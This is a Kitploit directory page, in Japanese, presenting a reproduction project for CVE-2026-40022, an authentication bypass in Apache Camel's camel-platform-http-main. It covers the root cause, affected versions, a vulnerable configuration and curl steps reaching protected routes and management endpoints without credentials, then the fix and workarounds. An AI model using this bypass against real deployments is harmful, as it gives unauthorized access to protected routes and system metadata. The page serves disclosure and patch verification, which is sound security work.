Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-40022 — CVE-2026-40022 の再現ツール: Apache Camel camel-platform-http-main における非ルートコンテキストパスでの認証バイパス | Kitploit
ツール/GitHubGitHub/oscerd/cve-2026-40022
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト認証設定ミス
GitHuboscerd/cve-2026-40022

CVE-2026-40022

CVE-2026-40022 の再現ツール: Apache Camel camel-platform-http-main における非ルートコンテキストパスでの認証バイパス

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

camel-platform-http-main 非ルートコンテキストパスにおける認証バイパス(CVE-2026-40022)

このプロジェクトは、Apache Camel の camel-platform-http-main コンポーネント(Camel main ランタイムの組み込み HTTP / 管理サーバー)における 認証バイパス を実証するもので、CVE-2026-40022 として追跡されています。認証が有効で、非ルートのコンテキストパス(例:/api や /admin)が設定されている場合、認証ハンドラーは正確なコンテキストパスのみをカバーするため、サブパス への認証されていないリクエストが保護されたルートや管理エンドポイントに到達します。

アドバイザリ:https://camel.apache.org/security/CVE-2026-40022.html

脆弱性の概要

プロパティ値
コンポーネントcamel-platform-http-main(Camel main ランタイム組み込み HTTP/管理サーバー)
影響を受けるクラスBasicAuthenticationConfigurer、JWTAuthenticationConfigurer、MainAuthenticationConfigurer
根本原因authenticationPath が未設定の場合、camel.server.path から派生します。Vert.x のサブルーターマウントモデルでは、認証ハンドラーは正確なコンテキストパスのみにマッチし、そのサブパスにはマッチしません
CWECWE-287:不適切な認証(認証バイパス)
影響保護されたビジネスルートおよび管理エンドポイント(例:/observe/info によるランタイムメタデータの開示)への認証なしアクセス
影響を受けるバージョン4.14.1 から 4.14.6 未満、および 4.15.0 から 4.18.2 未満
修正バージョン4.14.6、4.18.2、4.20.0
報告者Jihang Yu
PRsapache/camel#22474(main)、#22475(4.18.x)、#22476(4.14.x)

技術的詳細

BasicAuthenticationConfigurer(および JWTAuthenticationConfigurer)は、認証ハンドラーが保護するパスを properties.getAuthenticationPath() から解決し、明示的に設定されていない場合は properties.getPath()(camel.server.path コンテキストパス)にフォールバックします:

root@kitploit:~
String path = resolveAuthenticationPath(properties.getAuthenticationPath(), properties.getPath());

Vert.x サーバーは <contextPath>* に サブルーター をマウントし、そのサブルーター 内部 の解決されたパスに認証ハンドラーを登録します。影響を受けるバージョンでは、解決されたパスはコンテキストパス自体であるため、すでに /api にマウントされているサブルーターに対して、認証ハンドラーは /api/api のみにマッチし、すべてのサブパスにはマッチしません。その結果:

  • /api/api は チャレンジされる(401)— ハンドラーは存在するが、スコープが不適切
  • /api/hello(実際のビジネスルート)は チャレンジされない → 資格情報なしで提供される

修正により、resolveAuthenticationPath が /* を返すようになり、ハンドラーがサブルーターのすべてのサブパスをカバーするようになります。

セットアップ

application.properties — 認証が有効で authenticationPath が未設定の非ルートコンテキストパス:

root@kitploit:~
camel.server.enabled = true
camel.server.port = 8080
camel.server.path = /api
camel.server.authenticationEnabled = true
camel.server.basicPropertiesFile = auth.properties

ルートは /api/hello で提供されます。

前提条件

  • Java 17+
  • Maven 3.8+

外部サービスや Docker コンテナは不要です。脆弱な HTTP サーバーはアプリ自体です。

再現手順

ステップ 1:ビルドと起動

root@kitploit:~
mvn clean package -DskipTests
java -jar target/cve-2026-40022-platform-http-main-0.0.1-SNAPSHOT.jar

ステップ 2:認証が有効であることを確認

root@kitploit:~
curl -i http://localhost:8080/api/api
# -> HTTP/1.1 401 Unauthorized
#    WWW-Authenticate: Basic realm="vertx-web"

BasicAuthHandler はアクティブですが、正確なコンテキストパスにのみスコープが設定されています。

ステップ 3:バイパス — 資格情報なしで保護されたルートに到達

root@kitploit:~
curl -i http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
#    hello-response (これは保護されたビジネスルートです)

修正バージョン(4.14.6 / 4.18.2 / 4.20.0)では、これにより 401 Unauthorized が返されます。

ステップ 4:資格情報があれば正常に動作(意図通り)

root@kitploit:~
curl -i -u camel:propertiesPass http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK

影響:管理エンドポイントの開示

同じ欠陥が管理サーバー(camel.management.path、例:/admin)にも適用されます。/admin/observe/info などのサブパスへの認証なしリクエストが管理エンドポイントに到達し、ランタイムメタデータ(OS ユーザー、作業/ホームディレクトリ、プロセス ID、JVM および OS 情報)を開示する可能性があります。

悪用条件

  1. camel-platform-http-main を使用した Camel main ランタイム。
  2. サーバーまたは管理サーバーで認証が有効。
  3. 非ルート のコンテキストパス(camel.server.path / camel.management.path)。
  4. camel.server.authenticationPath / camel.management.authenticationPath が 明示的に設定されていない。

推奨される修正

4.14.6 / 4.18.2 / 4.20.0 にアップグレードしてください。修正(resolveAuthenticationPath)により、認証ハンドラーがすべてのサブパスをカバーするようになります:

root@kitploit:~
default String resolveAuthenticationPath(String authenticationPath, String contextPath) {
    if (authenticationPath != null && !authenticationPath.isBlank()) {
        return authenticationPath;
    }
    return "/*";   // 以前:正確なコンテキストパス
}

回避策

アップグレードまでの間:

  1. 明示的に設定 camel.server.authenticationPath = /*(および camel.management.authenticationPath = /*)を設定し、ハンドラーがすべてのサブパスをカバーするようにします。
  2. 管理サーバーは信頼できるネットワークのみに配置します。

ファイル

root@kitploit:~
CVE-2026-40022/
├── pom.xml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Camel main ランタイムエントリポイント
    │   └── HelloRoute.java           # 保護された platform-http ルート(/api/hello)
    └── resources/
        ├── application.properties    # 非ルートパス + 認証有効(脆弱な設定)
        └── auth.properties           # basic-auth ユーザー(camel / propertiesPass)

免責事項

この再現コードは セキュリティ研究および許可されたテストのみ を目的として、公開され修正済みの 脆弱性のために提供されています。明示的な許可なくシステムに対して使用しないでください。

ツールをダウンロード